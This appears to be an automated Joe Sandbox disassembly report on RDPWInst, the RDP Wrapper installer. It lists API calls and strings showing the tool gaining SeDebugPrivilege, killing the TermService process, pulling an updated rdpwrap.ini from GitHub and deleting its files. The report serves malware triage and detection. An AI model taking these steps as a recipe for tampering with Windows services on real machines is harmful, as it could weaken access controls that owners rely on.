Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 00417D30 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(oleaut32.dll), ref: 00417D39

Part of subcall function 00417D04: GetProcAddress.KERNEL32(00000000), ref: 00417D1D

Strings

VarBstrFromDate, xrefs: 00417EFF
VarIdiv, xrefs: 00417DE1
VarMul, xrefs: 00417DB5
VarDiv, xrefs: 00417DCB
VarBstrFromBool, xrefs: 00417F15
VarMod, xrefs: 00417DF7
VarSub, xrefs: 00417D9F
VarAdd, xrefs: 00417D89
VarBoolFromStr, xrefs: 00417ED3
oleaut32.dll, xrefs: 00417D34
VarNeg, xrefs: 00417D5D
VarCmp, xrefs: 00417E4F
VarBstrFromCy, xrefs: 00417EE9
VarDateFromStr, xrefs: 00417EA7
VarOr, xrefs: 00417E23
VarXor, xrefs: 00417E39
VarI4FromStr, xrefs: 00417E65
VarR8FromStr, xrefs: 00417E91
VarCyFromStr, xrefs: 00417EBD
VarAnd, xrefs: 00417E0D
VariantChangeTypeEx, xrefs: 00417D47
VarNot, xrefs: 00417D73
VarR4FromStr, xrefs: 00417E7B

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction ID: c99ab9519c0edb256345e3c1c1fceae5193512a11a1c4a98270a3cb03c9355dc
Opcode Fuzzy Hash: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction Fuzzy Hash: 25412575A4C2085A5305AB6EB8018FA77B9DA86324374D07FF5088B745DF7CACC2876D

Function 0043F7A4 Relevance: 22.7, APIs: 2, Strings: 13, Instructions: 229sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Part of subcall function 0043B7D4: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
Part of subcall function 0043B7D4: EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Part of subcall function 0043BF00: GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
Part of subcall function 0043BF00: OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
Part of subcall function 0043BF00: GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C

Part of subcall function 0043C1C8: OpenProcess.KERNEL32(00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
Part of subcall function 0043C1C8: TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001B9C,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Sleep.KERNEL32(000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043F9CC
Sleep.KERNEL32(000001F4,000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043FA09

Part of subcall function 0043B58C: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
Part of subcall function 0043B58C: GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Strings

[-] Failed to download latest INI from GitHub., xrefs: 0043F89A
$sD, xrefs: 0043F86A, 0043F895, 0043F92B, 0043F952, 0043F97C, 0043F99A, 0043FA8A, 0043FAA5
[+] New update is available, updating..., xrefs: 0043F981
[*] Current update date: , xrefs: 0043F86F
[*] Latest update date: , xrefs: 0043F930
[*] Everything is up to date., xrefs: 0043F957
[*] Terminating service..., xrefs: 0043F99F
%d.%.2d.%.2d, xrefs: 0043F85C, 0043F91D
TermService, xrefs: 0043FA80
rdpwrap.ini, xrefs: 0043F7ED
SeDebugPrivilege, xrefs: 0043F9B3
[+] Update completed., xrefs: 0043FA8F
[*] Your INI file is newer than public file. Are you a developer? :), xrefs: 0043FAAA

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseHandleOpenProcess$ManagerServiceSleep$CurrentEnumEnvironmentExpandServicesStatusStringsTerminateToken
String ID: $sD$%d.%.2d.%.2d$SeDebugPrivilege$TermService$[*] Current update date: $[*] Everything is up to date.$[*] Latest update date: $[*] Terminating service...$[*] Your INI file is newer than public file. Are you a developer? :)$[+] New update is available, updating...$[+] Update completed.$[-] Failed to download latest INI from GitHub.$rdpwrap.ini
API String ID: 3534747103-2332903941
Opcode ID: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction ID: 35adde3c6c2359a68fd4b220f91aa0339034fd12c6c7055d874297ef65b27e77
Opcode Fuzzy Hash: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction Fuzzy Hash: D5813074E042099BDB04FBA9D48169DB7B1EF8D308F51507AF504F7392DB38AD058B6A

Function 0043D938 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

DeleteFileW.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D985
GetLastError.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D98E
DeleteFileW.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA04
GetLastError.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA0D

Strings

[+] Removed folder: , xrefs: 0043DAEA
[+] Removed file: , xrefs: 0043D9CD, 0043DA4C
$sD, xrefs: 0043D99B, 0043D9C8, 0043DA1A, 0043DA47, 0043DA9F, 0043DAE5
rdpwrap.ini, xrefs: 0043D96F, 0043D9DB
[-] RemoveDirectory error (code , xrefs: 0043DAA4
[-] DeleteFile error (code , xrefs: 0043D9A0, 0043DA1F

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast$EnvironmentExpandStrings
String ID: $sD$[+] Removed file: $[+] Removed folder: $[-] DeleteFile error (code $[-] RemoveDirectory error (code $rdpwrap.ini
API String ID: 1427661212-4281953003
Opcode ID: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction ID: ad05ad182a3b94ca814d20fd028ad2e32e4b81082960bb03fd6afff070a44f54
Opcode Fuzzy Hash: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction Fuzzy Hash: 31414F74A042049BDB00F7B6D94286EB375AF8D308F52813BF500B7697DA3CBD059A6E

Function 0041344C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041325C: VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
Part of subcall function 0041325C: LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,00000000,00000000,00000400,00000000,00413571), ref: 004134AD
WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134E0
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F2
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F8
GetStdHandle.KERNEL32(000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?), ref: 0041350C
WriteFile.KERNEL32(00000000,000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000), ref: 00413512
LoadStringW.USER32(00000000,0000FFE6,?,00000040), ref: 00413536
MessageBoxW.USER32(00000000,?,?,00002010), ref: 00413550

Strings

(4A, xrefs: 004134BD, 00413565
$sD, xrefs: 0041348A
LpD, xrefs: 0041347C

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$ByteCharHandleLoadModuleMultiNameStringWideWrite$MessageQueryVirtual
String ID: $sD$(4A$LpD
API String ID: 135118572-2961882766
Opcode ID: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction ID: ef224b53181cf2408eecbf6e4a49f74db113686e973540ee16aa2e1e81a8a81f
Opcode Fuzzy Hash: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction Fuzzy Hash: E4315E71640204BEE710EBA5DC82FDA73BDEB05B05F50417AB604F61D1DE78AE808B69

Function 00409E82 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 183libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 00409F3F
GetLastError.KERNEL32(?), ref: 00409F4A
RaiseException.KERNEL32(C0FB007E,00000000,00000001,?), ref: 00409F80
EnterCriticalSection.KERNEL32(00449C1C), ref: 00409F92
FreeLibrary.KERNEL32(?,00449C1C), ref: 00409FAA
LeaveCriticalSection.KERNEL32(00449C1C,?,00449C1C), ref: 00409FB7
GetProcAddress.KERNEL32(?,?), ref: 0040A026
GetLastError.KERNEL32 ref: 0040A031
RaiseException.KERNEL32(C0FB007F,00000000,00000001,?), ref: 0040A067

Part of subcall function 00409D9C: LocalAlloc.KERNEL32(00000040,00000008), ref: 00409DA8
Part of subcall function 00409D9C: RaiseException.KERNEL32(C0FB0008,00000000,00000001,?,00000040,00000008), ref: 00409DBD

Strings

$, xrefs: 00409E9E

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$CriticalErrorLastLibrarySection$AddressAllocEnterFreeLeaveLoadLocalProc
String ID: $
API String ID: 4255670546-3993045852
Opcode ID: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction ID: e7bef61209e92d946731ec4a4071e7a79c0b4aa0f4738c46576ebf8cfa3b661b
Opcode Fuzzy Hash: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction Fuzzy Hash: EE618D7590070AAFDB21DFA5D885BAFB3B4AF48314F14803AE504B62D2D7789D44CB59

Function 00403B64 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 277windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,004026E0,00002010), ref: 00403F39

Strings

7, xrefs: 00403CDC
$zD, xrefs: 00403C43
D&@, xrefs: 00403D42, 00403D50
$zD, xrefs: 00403BB6
&@, xrefs: 00403F2A
l&@, xrefs: 00403EA7, 00403EB5
zPD, xrefs: 00403CE6
, xrefs: 00403E72

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Message
String ID: $$zD$$zD$7$D&@$l&@$zPD$&@
API String ID: 2030045667-2939321579
Opcode ID: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction ID: 997706f527e00cc568bc624ae0a330c29571725258f71f9dd8560831bc4d878f
Opcode Fuzzy Hash: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction Fuzzy Hash: E5B1B434A042548FDB20DF2DC884B997BE8AB09745F1441FAE449F7382CB799E85CB59

Function 00415198 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 203threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00415476,?,?,00000000,00000000), ref: 004151CE

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

AMPM, xrefs: 004153F2
:mm, xrefs: 00415411
mmmm d, yyyy, xrefs: 004152D3
:mm:ss, xrefs: 0041542E
AMPM , xrefs: 00415401
m/d/yy, xrefs: 004152A6

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction ID: d9a4c13083f090c9220c38b115c8470d0dd0b24888f81dbd48f38483d2476b95
Opcode Fuzzy Hash: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction Fuzzy Hash: C6717E34B005489BDB04EBA5C881BDF73A6DB88308F50843BB201EB39ADA3DDD95975C

Function 0041983C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 004198D5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004198F1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0041992A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004199A7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 004199C0
VariantCopy.OLEAUT32(?), ref: 004199F5

Strings

, xrefs: 00419856

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction ID: 05f3e7187411a66581312748be8f4c599b64c7f757b61d9c7bcf5be2e84cfcbc
Opcode Fuzzy Hash: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction Fuzzy Hash: BB510E75A1061D9BCB62DB59CC91AD9B3BCAF0C314F0041DAE509D7311DA389FC18F69

Function 00406190 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00406208

Strings

Error, xrefs: 004061FC
Runtime error at 00000000, xrefs: 004061C2, 00406201

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction ID: 3d9f27a079d1a1e85d20769b70378e11af8d5357eb747b9bac5a8d01f7cd0a80
Opcode Fuzzy Hash: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction Fuzzy Hash: F8F09064688700B9FA1077A09D8BF5A264C5741F18F648A7FBA107C0E3C7FC44C5D66E

Function 00403220 Relevance: 10.9, APIs: 7, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction ID: cdb4153b94d32a19bbaa749183bbd41ea1cad44ce1b02117721c392bcbf59f8f
Opcode Fuzzy Hash: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction Fuzzy Hash: AAC149627046001BE715AE7D9EC936E77899BC5326F18827FE504EB3C5DABCCE468348

Function 00408D70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?), ref: 00408D8D
GetProcAddress.KERNEL32(?,GetLongPathNameW), ref: 00408DA4
lstrcpynW.KERNEL32(?,?,?), ref: 00408DD4
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?), ref: 00408E43

Strings

kernel32.dll, xrefs: 00408D88
GetLongPathNameW, xrefs: 00408D9B

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
